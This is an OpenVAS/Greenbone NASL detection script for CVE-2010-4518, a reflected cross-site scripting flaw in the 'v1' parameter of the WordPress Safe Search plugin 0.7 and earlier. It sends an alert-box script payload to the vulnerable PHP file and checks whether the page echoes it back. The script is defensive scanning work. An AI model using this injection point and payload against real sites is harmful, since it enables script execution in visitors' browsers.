WordPress Safe Search Plugin <= 0.7 'v1' Parameter XSS Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801490");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-12-21 15:42:46 +0100 (Tue, 21 Dec 2010)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2010-4518");
  script_name("WordPress Safe Search Plugin <= 0.7 'v1' Parameter XSS Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/42544");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45267");
  script_xref(name:"URL", value:"http://www.johnleitch.net/Vulnerabilities/WordPress.Safe.Search.0.7.Reflected.Cross-site.Scripting/66");

  script_tag(name:"summary", value:"The WordPress Safe Search Plugin is prone to a cross-site
  scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The input passed to 'v1' parameter in
  'wp-content/plugins/wp-safe-search/wp-safe-search-jx.php' script is not properly sanitised before
  being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in context of an affected site.");

  script_tag(name:"affected", value:"WordPress Safe Search Plugin version 0.7 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/wp-safe-search/wp-safe-search-jx.php?v1=<script>alert(XSS-Testing)</script>";
req = http_get(item:url, port:port);
res = http_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && "<script>alert(XSS-Testing)</script>" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);